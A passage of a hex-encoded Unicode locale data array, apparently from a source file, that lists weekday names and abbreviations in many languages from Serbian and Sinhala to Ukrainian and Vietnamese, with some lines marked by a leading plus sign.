0x435, 0x434, 0x435, 0x43b, 0x44c, +0x43d, 0x438, 0x43a, 0x3b, 0x432, 0x442, 0x43e, 0x440, 0x43d, 0x438, 0x43a, 0x3b, 0x441, 0x440, 0x435, 0x434, 0x430, 0x3b, 0x447, 0x435, +0x442, 0x432, 0x435, 0x440, 0x433, 0x3b, 0x43f, 0x44f, 0x442, 0x43d, 0x438, 0x446, 0x430, 0x3b, 0x441, 0x443, 0x431, 0x431, 0x43e, 0x442, +0x430, 0x3b, 0x42, 0x6b, 0x31, 0x3b, 0x42, 0x6b, 0x32, 0x3b, 0x42, 0x6b, 0x33, 0x3b, 0x42, 0x6b, 0x34, 0x3b, 0x42, 0x6b, +0x35, 0x3b, 0x4c, 0xe2, 0x70, 0x3b, 0x4c, 0xe2, 0x79, 0x3b, 0x42, 0x69, 0x6b, 0x75, 0x61, 0x2d, 0xf4, 0x6b, 0x6f, 0x3b, +0x42, 0xef, 0x6b, 0x75, 0x61, 0x2d, 0xfb, 0x73, 0x65, 0x3b, 0x42, 0xef, 0x6b, 0x75, 0x61, 0x2d, 0x70, 0x74, 0xe2, 0x3b, +0x42, 0xef, 0x6b, 0x75, 0x61, 0x2d, 0x75, 0x73, 0xef, 0xf6, 0x3b, 0x42, 0xef, 0x6b, 0x75, 0x61, 0x2d, 0x6f, 0x6b, 0xfc, +0x3b, 0x4c, 0xe2, 0x70, 0xf4, 0x73, 0xf6, 0x3b, 0x4c, 0xe2, 0x79, 0x65, 0x6e, 0x67, 0x61, 0x3b, 0x4b, 0x3b, 0x53, 0x3b, +0x54, 0x3b, 0x53, 0x3b, 0x4b, 0x3b, 0x50, 0x3b, 0x59, 0x3b, 0x43d, 0x435, 0x434, 0x3b, 0x43f, 0x43e, 0x43d, 0x3b, 0x443, 0x442, +0x43e, 0x3b, 0x441, 0x440, 0x435, 0x3b, 0x447, 0x435, 0x442, 0x3b, 0x43f, 0x435, 0x442, 0x3b, 0x441, 0x443, 0x431, 0x3b, 0x43d, 0x435, +0x434, 0x435, 0x459, 0x430, 0x3b, 0x43f, 0x43e, 0x43d, 0x435, 0x434, 0x435, 0x459, 0x430, 0x43a, 0x3b, 0x443, 0x442, 0x43e, 0x440, 0x430, +0x43a, 0x3b, 0x441, 0x440, 0x435, 0x434, 0x430, 0x3b, 0x447, 0x435, 0x442, 0x432, 0x440, 0x442, 0x430, 0x43a, 0x3b, 0x43f, 0x435, 0x442, +0x430, 0x43a, 0x3b, 0x441, 0x443, 0x431, 0x43e, 0x442, 0x430, 0x3b, 0x43d, 0x3b, 0x43f, 0x3b, 0x443, 0x3b, 0x441, 0x3b, 0x447, 0x3b, +0x43f, 0x3b, 0x441, 0x3b, 0x43d, 0x435, 0x434, 0x3b, 0x43f, 0x43e, 0x43d, 0x3b, 0x443, 0x442, 0x43e, 0x3b, 0x441, 0x440, 0x438, 0x3b, +0x447, 0x435, 0x442, 0x3b, 0x43f, 0x435, 0x442, 0x3b, 0x441, 0x443, 0x431, 0x3b, 0x43d, 0x435, 0x434, 0x435, 0x459, 0x430, 0x3b, 0x43f, +0x43e, 0x43d, 0x435, 0x434, 0x435, 0x459, 0x430, 0x43a, 0x3b, 0x443, 0x442, 0x43e, 0x440, 0x430, 0x43a, 0x3b, 0x441, 0x440, 0x438, 0x458, +0x435, 0x434, 0x430, 0x3b, 0x447, 0x435, 0x442, 0x432, 0x440, 0x442, 0x430, 0x43a, 0x3b, 0x43f, 0x435, 0x442, 0x430, 0x43a, 0x3b, 0x441, +0x443, 0x431, 0x43e, 0x442, 0x430, 0x3b, 0x6e, 0x65, 0x64, 0x3b, 0x70, 0x6f, 0x6e, 0x3b, 0x75, 0x74, 0x6f, 0x3b, 0x73, 0x72, +0x65, 0x3b, 0x10d, 0x65, 0x74, 0x3b, 0x70, 0x65, 0x74, 0x3b, 0x73, 0x75, 0x62, 0x3b, 0x6e, 0x65, 0x64, 0x65, 0x6c, 0x6a, +0x61, 0x3b, 0x70, 0x6f, 0x6e, 0x65, 0x64, 0x65, 0x6c, 0x6a, 0x61, 0x6b, 0x3b, 0x75, 0x74, 0x6f, 0x72, 0x61, 0x6b, 0x3b, +0x73, 0x72, 0x65, 0x64, 0x61, 0x3b, 0x10d, 0x65, 0x74, 0x76, 0x72, 0x74, 0x61, 0x6b, 0x3b, 0x70, 0x65, 0x74, 0x61, 0x6b, +0x3b, 0x73, 0x75, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x53, 0x6f, 0x6e, 0x3b, 0x4d, 0x6d, 0x61, 0x3b, 0x42, 0x65, 0x64, 0x3b, +0x52, 0x61, 0x72, 0x3b, 0x4e, 0x65, 0x3b, 0x48, 0x6c, 0x61, 0x3b, 0x4d, 0x6f, 0x71, 0x3b, 0x53, 0x6f, 0x6e, 0x74, 0x61, +0x68, 0x61, 0x3b, 0x4d, 0x6d, 0x61, 0x6e, 0x74, 0x61, 0x68, 0x61, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x62, 0x65, 0x64, 0x69, +0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, 0x72, 0x75, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x6e, 0x65, 0x3b, 0x4c, 0x61, 0x62, +0x6f, 0x68, 0x6c, 0x61, 0x6e, 0x65, 0x3b, 0x4d, 0x6f, 0x71, 0x65, 0x62, 0x65, 0x6c, 0x6f, 0x3b, 0x54, 0x73, 0x68, 0x3b, +0x4d, 0x6f, 0x73, 0x3b, 0x42, 0x65, 0x64, 0x3b, 0x52, 0x61, 0x72, 0x3b, 0x4e, 0x65, 0x3b, 0x54, 0x6c, 0x61, 0x3b, 0x4d, +0x61, 0x74, 0x3b, 0x54, 0x73, 0x68, 0x69, 0x70, 0x69, 0x3b, 0x4d, 0x6f, 0x73, 0x6f, 0x70, 0x75, 0x6c, 0x6f, 0x67, 0x6f, +0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x62, 0x65, 0x64, 0x69, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, 0x72, 0x6f, 0x3b, 0x4c, +0x61, 0x62, 0x6f, 0x6e, 0x65, 0x3b, 0x4c, 0x61, 0x62, 0x6f, 0x74, 0x6c, 0x68, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x61, 0x74, +0x6c, 0x68, 0x61, 0x74, 0x73, 0x6f, 0x3b, 0x53, 0x76, 0x6f, 0x3b, 0x4d, 0x75, 0x76, 0x3b, 0x43, 0x68, 0x69, 0x70, 0x3b, +0x43, 0x68, 0x69, 0x74, 0x3b, 0x43, 0x68, 0x69, 0x6e, 0x3b, 0x43, 0x68, 0x69, 0x73, 0x3b, 0x4d, 0x75, 0x67, 0x3b, 0x53, +0x76, 0x6f, 0x6e, 0x64, 0x6f, 0x3b, 0x4d, 0x75, 0x76, 0x68, 0x75, 0x72, 0x6f, 0x3b, 0x43, 0x68, 0x69, 0x70, 0x69, 0x72, +0x69, 0x3b, 0x43, 0x68, 0x69, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x43, 0x68, 0x69, 0x6e, 0x61, 0x3b, 0x43, 0x68, 0x69, 0x73, +0x68, 0x61, 0x6e, 0x75, 0x3b, 0x4d, 0x75, 0x67, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x43, 0x3b, +0x43, 0x3b, 0x43, 0x3b, 0x43, 0x3b, 0x4d, 0x3b, 0xd89, 0xdbb, 0xdd2, 0x3b, 0xdc3, 0xdb3, 0xdd4, 0x3b, 0xd85, 0xd9f, 0x3b, 0xdb6, +0xdaf, 0xdcf, 0x3b, 0xdb6, 0xdca, 0x200d, 0xdbb, 0xdc4, 0x3b, 0xdc3, 0xdd2, 0xd9a, 0xdd4, 0x3b, 0xdc3, 0xdd9, 0xdb1, 0x3b, 0xd89, 0xdbb, +0xdd2, 0xdaf, 0xdcf, 0x3b, 0xdc3, 0xdb3, 0xdd4, 0xdaf, 0xdcf, 0x3b, 0xd85, 0xd9f, 0xdc4, 0xdbb, 0xdd4, 0xdc0, 0xdcf, 0xdaf, 0xdcf, 0x3b, +0xdb6, 0xdaf, 0xdcf, 0xdaf, 0xdcf, 0x3b, 0xdb6, 0xdca, 0x200d, 0xdbb, 0xdc4, 0xdc3, 0xdca, 0xdb4, 0xdad, 0xdd2, 0xdb1, 0xdca, 0xdaf, 0xdcf, +0x3b, 0xdc3, 0xdd2, 0xd9a, 0xdd4, 0xdbb, 0xdcf, 0xdaf, 0xdcf, 0x3b, 0xdc3, 0xdd9, 0xdb1, 0xdc3, 0xdd4, 0xdbb, 0xdcf, 0xdaf, 0xdcf, 0x3b, +0xd89, 0x3b, 0xdc3, 0x3b, 0xd85, 0x3b, 0xdb6, 0x3b, 0xdb6, 0xdca, 0x200d, 0xdbb, 0x3b, 0xdc3, 0xdd2, 0x3b, 0xdc3, 0xdd9, 0x3b, 0x53, +0x6f, 0x6e, 0x3b, 0x4d, 0x73, 0x6f, 0x3b, 0x42, 0x69, 0x6c, 0x3b, 0x54, 0x73, 0x61, 0x3b, 0x4e, 0x65, 0x3b, 0x48, 0x6c, +0x61, 0x3b, 0x4d, 0x67, 0x63, 0x3b, 0x4c, 0x69, 0x73, 0x6f, 0x6e, 0x74, 0x66, 0x6f, 0x3b, 0x75, 0x4d, 0x73, 0x6f, 0x6d, +0x62, 0x75, 0x6c, 0x75, 0x6b, 0x6f, 0x3b, 0x4c, 0x65, 0x73, 0x69, 0x62, 0x69, 0x6c, 0x69, 0x3b, 0x4c, 0x65, 0x73, 0x69, +0x74, 0x73, 0x61, 0x74, 0x66, 0x75, 0x3b, 0x4c, 0x65, 0x73, 0x69, 0x6e, 0x65, 0x3b, 0x4c, 0x65, 0x73, 0x69, 0x68, 0x6c, +0x61, 0x6e, 0x75, 0x3b, 0x75, 0x4d, 0x67, 0x63, 0x69, 0x62, 0x65, 0x6c, 0x6f, 0x3b, 0x6e, 0x65, 0x3b, 0x70, 0x6f, 0x3b, +0x75, 0x74, 0x3b, 0x73, 0x74, 0x3b, 0x161, 0x74, 0x3b, 0x70, 0x69, 0x3b, 0x73, 0x6f, 0x3b, 0x6e, 0x65, 0x64, 0x65, 0x13e, +0x61, 0x3b, 0x70, 0x6f, 0x6e, 0x64, 0x65, 0x6c, 0x6f, 0x6b, 0x3b, 0x75, 0x74, 0x6f, 0x72, 0x6f, 0x6b, 0x3b, 0x73, 0x74, +0x72, 0x65, 0x64, 0x61, 0x3b, 0x161, 0x74, 0x76, 0x72, 0x74, 0x6f, 0x6b, 0x3b, 0x70, 0x69, 0x61, 0x74, 0x6f, 0x6b, 0x3b, +0x73, 0x6f, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x4e, 0x3b, 0x50, 0x3b, 0x55, 0x3b, 0x53, 0x3b, 0x160, 0x3b, 0x50, 0x3b, 0x53, +0x3b, 0x6e, 0x65, 0x64, 0x3b, 0x70, 0x6f, 0x6e, 0x3b, 0x74, 0x6f, 0x72, 0x3b, 0x73, 0x72, 0x65, 0x3b, 0x10d, 0x65, 0x74, +0x3b, 0x70, 0x65, 0x74, 0x3b, 0x73, 0x6f, 0x62, 0x3b, 0x6e, 0x65, 0x64, 0x65, 0x6c, 0x6a, 0x61, 0x3b, 0x70, 0x6f, 0x6e, +0x65, 0x64, 0x65, 0x6c, 0x6a, 0x65, 0x6b, 0x3b, 0x74, 0x6f, 0x72, 0x65, 0x6b, 0x3b, 0x73, 0x72, 0x65, 0x64, 0x61, 0x3b, +0x10d, 0x65, 0x74, 0x72, 0x74, 0x65, 0x6b, 0x3b, 0x70, 0x65, 0x74, 0x65, 0x6b, 0x3b, 0x73, 0x6f, 0x62, 0x6f, 0x74, 0x61, +0x3b, 0x6e, 0x3b, 0x70, 0x3b, 0x74, 0x3b, 0x73, 0x3b, 0x10d, 0x3b, 0x70, 0x3b, 0x73, 0x3b, 0x41, 0x78, 0x64, 0x3b, 0x49, +0x73, 0x6e, 0x3b, 0x54, 0x61, 0x6c, 0x3b, 0x41, 0x72, 0x62, 0x3b, 0x4b, 0x68, 0x61, 0x3b, 0x4a, 0x69, 0x6d, 0x3b, 0x53, +0x61, 0x62, 0x3b, 0x41, 0x78, 0x61, 0x64, 0x3b, 0x49, 0x73, 0x6e, 0x69, 0x69, 0x6e, 0x3b, 0x54, 0x61, 0x6c, 0x61, 0x61, +0x64, 0x6f, 0x3b, 0x41, 0x72, 0x62, 0x61, 0x63, 0x6f, 0x3b, 0x4b, 0x68, 0x61, 0x6d, 0x69, 0x69, 0x73, 0x3b, 0x4a, 0x69, +0x6d, 0x63, 0x6f, 0x3b, 0x53, 0x61, 0x62, 0x74, 0x69, 0x3b, 0x41, 0x3b, 0x49, 0x3b, 0x54, 0x3b, 0x41, 0x3b, 0x4b, 0x3b, +0x4a, 0x3b, 0x53, 0x3b, 0x64, 0x6f, 0x6d, 0x3b, 0x6c, 0x75, 0x6e, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x6d, 0x69, 0xe9, 0x3b, +0x6a, 0x75, 0x65, 0x3b, 0x76, 0x69, 0x65, 0x3b, 0x73, 0xe1, 0x62, 0x3b, 0x64, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x6f, 0x3b, +0x6c, 0x75, 0x6e, 0x65, 0x73, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x73, 0x3b, 0x6d, 0x69, 0xe9, 0x72, 0x63, 0x6f, 0x6c, +0x65, 0x73, 0x3b, 0x6a, 0x75, 0x65, 0x76, 0x65, 0x73, 0x3b, 0x76, 0x69, 0x65, 0x72, 0x6e, 0x65, 0x73, 0x3b, 0x73, 0xe1, +0x62, 0x61, 0x64, 0x6f, 0x3b, 0x4a, 0x32, 0x3b, 0x4a, 0x33, 0x3b, 0x4a, 0x34, 0x3b, 0x4a, 0x35, 0x3b, 0x41, 0x6c, 0x68, +0x3b, 0x49, 0x6a, 0x3b, 0x4a, 0x31, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x6c, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, +0x74, 0x61, 0x74, 0x75, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, +0x6f, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4a, 0x75, +0x6d, 0x61, 0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x32, 0x3b, 0x33, 0x3b, 0x34, 0x3b, 0x35, 0x3b, 0x41, 0x3b, 0x49, 0x3b, 0x31, +0x3b, 0x73, 0xf6, 0x6e, 0x3b, 0x6d, 0xe5, 0x6e, 0x3b, 0x74, 0x69, 0x73, 0x3b, 0x6f, 0x6e, 0x73, 0x3b, 0x74, 0x6f, 0x72, +0x73, 0x3b, 0x66, 0x72, 0x65, 0x3b, 0x6c, 0xf6, 0x72, 0x3b, 0x73, 0xf6, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x6d, 0xe5, 0x6e, +0x64, 0x61, 0x67, 0x3b, 0x74, 0x69, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x6f, 0x6e, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x74, 0x6f, +0x72, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x66, 0x72, 0x65, 0x64, 0x61, 0x67, 0x3b, 0x6c, 0xf6, 0x72, 0x64, 0x61, 0x67, 0x3b, +0x42f, 0x448, 0x431, 0x3b, 0x414, 0x448, 0x431, 0x3b, 0x421, 0x448, 0x431, 0x3b, 0x427, 0x448, 0x431, 0x3b, 0x41f, 0x448, 0x431, 0x3b, +0x4b6, 0x43c, 0x44a, 0x3b, 0x428, 0x43d, 0x431, 0x3b, 0x42f, 0x43a, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x414, 0x443, 0x448, 0x430, +0x43d, 0x431, 0x435, 0x3b, 0x421, 0x435, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x427, 0x43e, 0x440, 0x448, 0x430, 0x43d, 0x431, 0x435, +0x3b, 0x41f, 0x430, 0x43d, 0x4b7, 0x448, 0x430, 0x43d, 0x431, 0x435, 0x3b, 0x4b6, 0x443, 0x43c, 0x44a, 0x430, 0x3b, 0x428, 0x430, 0x43d, +0x431, 0x435, 0x3b, 0xb9e, 0xbbe, 0x3b, 0xba4, 0xbbf, 0x3b, 0xb9a, 0xbc6, 0x3b, 0xbaa, 0xbc1, 0x3b, 0xbb5, 0xbbf, 0x3b, 0xbb5, 0xbc6, +0x3b, 0xb9a, 0x3b, 0xb9e, 0xbbe, 0xbaf, 0xbbf, 0xbb1, 0xbc1, 0x3b, 0xba4, 0xbbf, 0xb99, 0xbcd, 0xb95, 0xbb3, 0xbcd, 0x3b, 0xb9a, 0xbc6, +0xbb5, 0xbcd, 0xbb5, 0xbbe, 0xbaf, 0xbcd, 0x3b, 0xbaa, 0xbc1, 0xba4, 0xba9, 0xbcd, 0x3b, 0xbb5, 0xbbf, 0xbaf, 0xbbe, 0xbb4, 0xba9, 0xbcd, +0x3b, 0xbb5, 0xbc6, 0xbb3, 0xbcd, 0xbb3, 0xbbf, 0x3b, 0xb9a, 0xba9, 0xbbf, 0x3b, 0xc06, 0xc26, 0xc3f, 0x3b, 0xc38, 0xc4b, 0xc2e, 0x3b, +0xc2e, 0xc02, 0xc17, 0xc33, 0x3b, 0xc2c, 0xc41, 0xc27, 0x3b, 0xc17, 0xc41, 0xc30, 0xc41, 0x3b, 0xc36, 0xc41, 0xc15, 0xc4d, 0xc30, 0x3b, +0xc36, 0xc28, 0xc3f, 0x3b, 0xc06, 0xc26, 0xc3f, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc38, 0xc4b, 0xc2e, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, +0xc2e, 0xc02, 0xc17, 0xc33, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc2c, 0xc41, 0xc27, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc17, 0xc41, 0xc30, +0xc41, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc36, 0xc41, 0xc15, 0xc4d, 0xc30, 0xc35, 0xc3e, 0xc30, 0xc02, 0x3b, 0xc36, 0xc28, 0xc3f, 0xc35, +0xc3e, 0xc30, 0xc02, 0x3b, 0xc06, 0x3b, 0xc38, 0xc4b, 0x3b, 0xc2e, 0x3b, 0xc2d, 0xc41, 0x3b, 0xc17, 0xc41, 0x3b, 0xc36, 0xc41, 0x3b, +0xc36, 0x3b, 0xe2d, 0xe32, 0x2e, 0x3b, 0xe08, 0x2e, 0x3b, 0xe2d, 0x2e, 0x3b, 0xe1e, 0x2e, 0x3b, 0xe1e, 0xe24, 0x2e, 0x3b, 0xe28, +0x2e, 0x3b, 0xe2a, 0x2e, 0x3b, 0xe27, 0xe31, 0xe19, 0xe2d, 0xe32, 0xe17, 0xe34, 0xe15, 0xe22, 0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe08, +0xe31, 0xe19, 0xe17, 0xe23, 0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe2d, 0xe31, 0xe07, 0xe04, 0xe32, 0xe23, 0x3b, 0xe27, 0xe31, 0xe19, 0xe1e, +0xe38, 0xe18, 0x3b, 0xe27, 0xe31, 0xe19, 0xe1e, 0xe24, 0xe2b, 0xe31, 0xe2a, 0xe1a, 0xe14, 0xe35, 0x3b, 0xe27, 0xe31, 0xe19, 0xe28, 0xe38, +0xe01, 0xe23, 0xe4c, 0x3b, 0xe27, 0xe31, 0xe19, 0xe40, 0xe2a, 0xe32, 0xe23, 0xe4c, 0x3b, 0xe2d, 0x3b, 0xe08, 0x3b, 0xe2d, 0x3b, 0xe1e, +0x3b, 0xe1e, 0x3b, 0xe28, 0x3b, 0xe2a, 0x3b, 0xf49, 0xf72, 0xf0b, 0xf58, 0xf0b, 0x3b, 0xf5f, 0xfb3, 0xf0b, 0xf56, 0xf0b, 0x3b, 0xf58, +0xf72, 0xf42, 0xf0b, 0xf51, 0xf58, 0xf62, 0xf0b, 0x3b, 0xf67, 0xfb3, 0xf42, 0xf0b, 0xf54, 0xf0b, 0x3b, 0xf55, 0xf74, 0xf62, 0xf0b, 0xf56, +0xf74, 0xf0b, 0x3b, 0xf66, 0xf44, 0xf66, 0xf0b, 0x3b, 0xf66, 0xfa4, 0xf7a, 0xf53, 0xf0b, 0xf54, 0xf0b, 0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, +0xf49, 0xf72, 0xf0b, 0xf58, 0xf0b, 0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, 0xf5f, 0xfb3, 0xf0b, 0xf56, 0xf0b, 0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, +0xf58, 0xf72, 0xf42, 0xf0b, 0xf51, 0xf58, 0xf62, 0xf0b, 0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, 0xf67, 0xfb3, 0xf42, 0xf0b, 0xf54, 0xf0b, 0x3b, +0xf42, 0xf5f, 0xf60, 0xf0b, 0xf55, 0xf74, 0xf62, 0xf0b, 0xf56, 0xf74, 0xf0b, 0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, 0xf66, 0xf44, 0xf66, 0xf0b, +0x3b, 0xf42, 0xf5f, 0xf60, 0xf0b, 0xf66, 0xfa4, 0xf7a, 0xf53, 0xf0b, 0xf54, 0xf0b, 0x3b, 0xf49, 0xf72, 0x3b, 0xf5f, 0xfb3, 0x3b, 0xf58, +0xf72, 0x3b, 0xf67, 0xfb3, 0x3b, 0xf55, 0xf74, 0x3b, 0xf66, 0x3b, 0xf66, 0xfa4, 0xf7a, 0x3b, 0x1230, 0x1295, 0x1260, 0x1275, 0x3b, 0x1230, +0x1291, 0x12ed, 0x3b, 0x1230, 0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1213, 0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1262, 0x3b, 0x1240, +0x12f3, 0x121d, 0x3b, 0x1230, 0x3b, 0x1230, 0x3b, 0x1220, 0x3b, 0x1228, 0x3b, 0x1283, 0x3b, 0x12d3, 0x3b, 0x1240, 0x3b, 0x1230, 0x1295, 0x1260, +0x1275, 0x3b, 0x1230, 0x1291, 0x12ed, 0x3b, 0x1220, 0x1209, 0x1235, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1283, 0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, +0x1262, 0x3b, 0x1240, 0x12f3, 0x121d, 0x3b, 0x53, 0x101, 0x70, 0x3b, 0x4d, 0x14d, 0x6e, 0x3b, 0x54, 0x16b, 0x73, 0x3b, 0x50, 0x75, +0x6c, 0x3b, 0x54, 0x75, 0x2bb, 0x61, 0x3b, 0x46, 0x61, 0x6c, 0x3b, 0x54, 0x6f, 0x6b, 0x3b, 0x53, 0x101, 0x70, 0x61, 0x74, +0x65, 0x3b, 0x4d, 0x14d, 0x6e, 0x69, 0x74, 0x65, 0x3b, 0x54, 0x16b, 0x73, 0x69, 0x74, 0x65, 0x3b, 0x50, 0x75, 0x6c, 0x65, +0x6c, 0x75, 0x6c, 0x75, 0x3b, 0x54, 0x75, 0x2bb, 0x61, 0x70, 0x75, 0x6c, 0x65, 0x6c, 0x75, 0x6c, 0x75, 0x3b, 0x46, 0x61, +0x6c, 0x61, 0x69, 0x74, 0x65, 0x3b, 0x54, 0x6f, 0x6b, 0x6f, 0x6e, 0x61, 0x6b, 0x69, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, +0x3b, 0x50, 0x3b, 0x54, 0x3b, 0x46, 0x3b, 0x54, 0x3b, 0x53, 0x6f, 0x6e, 0x3b, 0x4d, 0x75, 0x73, 0x3b, 0x42, 0x69, 0x72, +0x3b, 0x48, 0x61, 0x72, 0x3b, 0x4e, 0x65, 0x3b, 0x54, 0x6c, 0x68, 0x3b, 0x4d, 0x75, 0x67, 0x3b, 0x53, 0x6f, 0x6e, 0x74, +0x6f, 0x3b, 0x4d, 0x75, 0x73, 0x75, 0x6d, 0x62, 0x68, 0x75, 0x6e, 0x75, 0x6b, 0x75, 0x3b, 0x52, 0x61, 0x76, 0x75, 0x6d, +0x62, 0x69, 0x72, 0x68, 0x69, 0x3b, 0x52, 0x61, 0x76, 0x75, 0x6e, 0x68, 0x61, 0x72, 0x68, 0x75, 0x3b, 0x52, 0x61, 0x76, +0x75, 0x6d, 0x75, 0x6e, 0x65, 0x3b, 0x52, 0x61, 0x76, 0x75, 0x6e, 0x74, 0x6c, 0x68, 0x61, 0x6e, 0x75, 0x3b, 0x4d, 0x75, +0x67, 0x71, 0x69, 0x76, 0x65, 0x6c, 0x61, 0x3b, 0x50, 0x61, 0x7a, 0x3b, 0x50, 0x7a, 0x74, 0x3b, 0x53, 0x61, 0x6c, 0x3b, +0xc7, 0x61, 0x72, 0x3b, 0x50, 0x65, 0x72, 0x3b, 0x43, 0x75, 0x6d, 0x3b, 0x43, 0x6d, 0x74, 0x3b, 0x50, 0x61, 0x7a, 0x61, +0x72, 0x3b, 0x50, 0x61, 0x7a, 0x61, 0x72, 0x74, 0x65, 0x73, 0x69, 0x3b, 0x53, 0x61, 0x6c, 0x131, 0x3b, 0xc7, 0x61, 0x72, +0x15f, 0x61, 0x6d, 0x62, 0x61, 0x3b, 0x50, 0x65, 0x72, 0x15f, 0x65, 0x6d, 0x62, 0x65, 0x3b, 0x43, 0x75, 0x6d, 0x61, 0x3b, +0x43, 0x75, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x73, 0x69, 0x3b, 0x50, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0xc7, 0x3b, 0x50, 0x3b, +0x43, 0x3b, 0x43, 0x3b, 0x41d, 0x434, 0x3b, 0x41f, 0x43d, 0x3b, 0x412, 0x442, 0x3b, 0x421, 0x440, 0x3b, 0x427, 0x442, 0x3b, 0x41f, +0x442, 0x3b, 0x421, 0x431, 0x3b, 0x41d, 0x435, 0x434, 0x456, 0x43b, 0x44f, 0x3b, 0x41f, 0x43e, 0x43d, 0x435, 0x434, 0x456, 0x43b, 0x43e, +0x43a, 0x3b, 0x412, 0x456, 0x432, 0x442, 0x43e, 0x440, 0x43e, 0x43a, 0x3b, 0x421, 0x435, 0x440, 0x435, 0x434, 0x430, 0x3b, 0x427, 0x435, +0x442, 0x432, 0x435, 0x440, 0x3b, 0x41f, 0x2bc, 0x44f, 0x442, 0x43d, 0x438, 0x446, 0x44f, 0x3b, 0x421, 0x443, 0x431, 0x43e, 0x442, 0x430, +0x3b, 0x41d, 0x3b, 0x41f, 0x3b, 0x412, 0x3b, 0x421, 0x3b, 0x427, 0x3b, 0x41f, 0x3b, 0x421, 0x3b, 0x627, 0x62a, 0x648, 0x627, 0x631, +0x3b, 0x67e, 0x64a, 0x631, 0x3b, 0x645, 0x646, 0x6af, 0x644, 0x3b, 0x628, 0x62f, 0x647, 0x3b, 0x62c, 0x645, 0x639, 0x631, 0x627, 0x62a, +0x3b, 0x62c, 0x645, 0x639, 0x6c1, 0x3b, 0x6c1, 0x641, 0x62a, 0x6c1, 0x3b, 0x627, 0x3b, 0x67e, 0x3b, 0x645, 0x3b, 0x628, 0x3b, 0x62c, +0x3b, 0x62c, 0x3b, 0x6c1, 0x3b, 0x42f, 0x43a, 0x448, 0x3b, 0x414, 0x443, 0x448, 0x3b, 0x421, 0x435, 0x448, 0x3b, 0x427, 0x43e, 0x440, +0x3b, 0x41f, 0x430, 0x439, 0x3b, 0x416, 0x443, 0x43c, 0x3b, 0x428, 0x430, 0x43d, 0x3b, 0x44f, 0x43a, 0x448, 0x430, 0x43d, 0x431, 0x430, +0x3b, 0x434, 0x443, 0x448, 0x430, 0x43d, 0x431, 0x430, 0x3b, 0x441, 0x435, 0x448, 0x430, 0x43d, 0x431, 0x430, 0x3b, 0x447, 0x43e, 0x440, +0x448, 0x430, 0x43d, 0x431, 0x430, 0x3b, 0x43f, 0x430, 0x439, 0x448, 0x430, 0x43d, 0x431, 0x430, 0x3b, 0x436, 0x443, 0x43c, 0x430, 0x3b, +0x448, 0x430, 0x43d, 0x431, 0x430, 0x3b, 0x42f, 0x3b, 0x414, 0x3b, 0x421, 0x3b, 0x427, 0x3b, 0x41f, 0x3b, 0x416, 0x3b, 0x428, 0x3b, +0x6cc, 0x2e, 0x3b, 0x62f, 0x2e, 0x3b, 0x633, 0x2e, 0x3b, 0x686, 0x2e, 0x3b, 0x67e, 0x2e, 0x3b, 0x62c, 0x2e, 0x3b, 0x634, 0x2e, +0x3b, 0x43, 0x4e, 0x3b, 0x54, 0x68, 0x20, 0x32, 0x3b, 0x54, 0x68, 0x20, 0x33, 0x3b, 0x54, 0x68, 0x20, 0x34, 0x3b, 0x54, +0x68, 0x20, 0x35, 0x3b, 0x54, 0x68, 0x20, 0x36, 0x3b, 0x54, 0x68, 0x20, 0x37, 0x3b, 0x43, 0x68, 0x1ee7, 0x20, 0x6e, 0x68, +0x1ead, 0x74, 0x3b, 0x54, 0x68, 0x1ee9, 0x20, 0x68, 0x61, 0x69, 0x3b, 0x54, 0x68, 0x1ee9, 0x20, 0x62, 0x61, 0x3b, 0x54, 0x68, +0x1ee9, 0x20, 0x74, 0x1b0, 0x3b, 0x54, 0x68, 0x1ee9, 0x20, 0x6e, 0x103, 0x6d, 0x3b, 0x54, 0x68, 0x1ee9, 0x20, 0x73, 0xe1, 0x75, 